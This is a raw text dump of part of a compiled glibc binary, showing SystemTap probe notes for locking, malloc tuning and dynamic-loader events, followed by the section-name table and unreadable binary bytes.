20251112:stapsdt@Ilibclll_lock_wait_private8@%rdi2stapsdt)@Ilibclll_lock_wait8@%rdi1stapsdt@Ilibcrdlock_entry8@%rdi8stapsdtD@Ilibcrdlock_acquire_read8@%rbx2stapsdt@Ilibcrwlock_unlock8@%rdi1stapsdt@Ilibcwrlock_entry8@%rdi8stapsdt:@Ilibcwrlock_acquire_write8@%r9Lstapsdt@Ilibcmemory_mallopt_arena_max8@%rax 8@32+mp_(%rip)Mstapsdt@Ilibcmemory_mallopt_arena_test8@%rax 8@24+mp_(%rip)Pstapsdt@Ilibcmemory_tunable_tcache_count8@%rax 8@120+mp_(%rip)Ystapsdt@Ilibcmemory_tunable_tcache_unsorted_limit8@%rax 8@128+mp_(%rip)Astapsdt'@Ilibcmemory_mallopt_mxfast8@%rax 8@%rdxTstapsdtm@Ilibcmemory_tunable_tcache_max_bytes8@%rdx 8@112+mp_(%rip)]stapsdt@Ilibcmemory_mallopt_mmap_max-4@%eax -4@64+mp_(%rip) -4@72+mp_(%rip)^stapsdt@Ilibcmemory_mallopt_trim_threshold8@%rax 8@mp_(%rip) -4@72+mp_(%rip)Rstapsdt@Ilibcmemory_mallopt_perturb-4@%eax -4@perturb_byte(%rip)Ystapsdt@Ilibcmemory_mallopt_top_pad8@%rax 8@8+mp_(%rip) -4@72+mp_(%rip)astapsdt7@Ilibcmemory_mallopt_mmap_threshold8@%rax 8@16+mp_(%rip) -4@72+mp_(%rip)Astapsdt@Ilibcmemory_arena_reuse_free_list8@%rdx;stapsdt@Ilibcmemory_heap_new8@%rbx 8@%r12=stapsdtAIlibcmemory_arena_reuse8@%rcx 8@%r8Istapsdt#AIlibcmemory_arena_reuse_wait8@%rcx 8@%rcx 8@%r8;stapsdtAIlibcmemory_arena_new8@%rcx 8@%r9>stapsdt{AIlibcmemory_arena_retry8@%rsi 8@%rdi=stapsdtq AIlibcmemory_sbrk_less8@%rdi -8@%rdx@stapsdt AIlibcmemory_heap_free8@%rdi 8@16(%rdi)<stapsdtN AIlibcmemory_heap_less8@%r12 8@%r14NstapsdtoAIlibcmemory_mallopt_free_dyn_thresholds8@%rax 8@%rdx;stapsdtAIlibcmemory_heap_more8@%rcx 8@%r8<stapsdtAIlibcmemory_sbrk_more8@%rcx -8@%r88stapsdt.AIlibcmemory_malloc_retry8@%rbx8stapsdt2AIlibcmemory_calloc_retry8@%r12astapsdtI=AIlibcmemory_mallopt_mmap_threshold8@%rax 8@16+mp_(%rip) -4@72+mp_(%rip)@stapsdtpAAIlibcmemory_memalign_retry8@%r10 8@%r8DstapsdtGFAIlibcmemory_tcache_double_free8@%rdi 8@%r9>stapsdtKAIlibcmemory_realloc_retry8@%r9 8@%r8=stapsdtVAIlibcmemory_mallopt-4@%ebx -4@%r12dSstapsdt@VAIlibcmemory_mallopt_perturb-4@%r12d -4@perturb_byte(%rip)AstapsdtVAIlibcmemory_mallopt_mxfast8@%rax 8@%rdxLstapsdtVAIlibcmemory_mallopt_arena_max8@%r12 8@32+mp_(%rip)MstapsdtVAIlibcmemory_mallopt_arena_test8@%r12 8@24+mp_(%rip)^stapsdtVAIlibcmemory_mallopt_mmap_max-4@%r12d -4@64+mp_(%rip) -4@72+mp_(%rip)astapsdtVAIlibcmemory_mallopt_mmap_threshold8@%r12 8@16+mp_(%rip) -4@72+mp_(%rip)YstapsdtWAIlibcmemory_mallopt_top_pad8@%r12 8@8+mp_(%rip) -4@72+mp_(%rip)^stapsdt0WAIlibcmemory_mallopt_trim_threshold8@%r12 8@mp_(%rip) -4@72+mp_(%rip):stapsdtdBIlibcmap_start-8@32(%rbp) 8@%rbx:stapsdt DIlibcsetjmp8@%rdi -4@%esi 8@%rax3stapsdtDIlibcmutex_acquired8@%rbx0stapsdtWDIlibcmutex_entry8@%rdi3stapsdtDIlibcmutex_acquired8@%rdi1stapsdtDIlibcmutex_release8@%r81stapsdtDIlibcmutex_release8@%r82stapsdtDIlibcmutex_release8@%rdi;stapsdt7cFIlibclongjmp8@%rdi -4@%esi 8@%rdxBstapsdtScFIlibclongjmp_target8@%rdi -4@%eax 8@%rdx8stapsdtFIlibcunmap_start-8@%r10 8@%r12;stapsdt/FIlibcunmap_complete-8@%r10 8@%rbxDstapsdt GIlibcmap_complete-8@%r14 8@%r12 8@24(%rbx)AstapsdtGIlibcreloc_start-8@32(%rbx) 8@-56(%rbp)KstapsdtGIlibcreloc_complete-8@32(%rbx) 8@-56(%rbp) 8@%r154stapsdtGIlibgccunwind8@%rdi 8@%rsi3stapsdt!HIlibccond_broadcast8@%rdi5stapsdtHIlibccond_wait8@%rdi 8@%rsi5stapsdtHIlibccond_wait8@%rdi 8@%rsi5stapsdtHIlibccond_wait8@%rdi 8@%rsi3stapsdt!HIlibcmutex_acquired8@%rbx0stapsdt'HIlibcmutex_entry8@%rdi3stapsdt(HIlibcmutex_acquired8@%rdi0stapsdt$+HIlibccond_signal8@%rdi.shstrtab.note.gnu.property.note.gnu.build-id.rela.plt.init.text.fini.rodata.stapsdt.baserodata.cst32.eh_frame.sframe.gcc_except_table.note.ABI-tag.tdata.tbss.init_array.fini_array.data.rel.ro.got.got.plt.data.bss.comment.note.stapsdt @@ @ $1BH@H(;@6 @ A@@G-H- M0H0 UI c I ` pI zo0J0 iKi jKj |Kl 0 }K m ( }K m 0}K0m @}K@m A ȾKȮ K K ." mh-` 0h--x-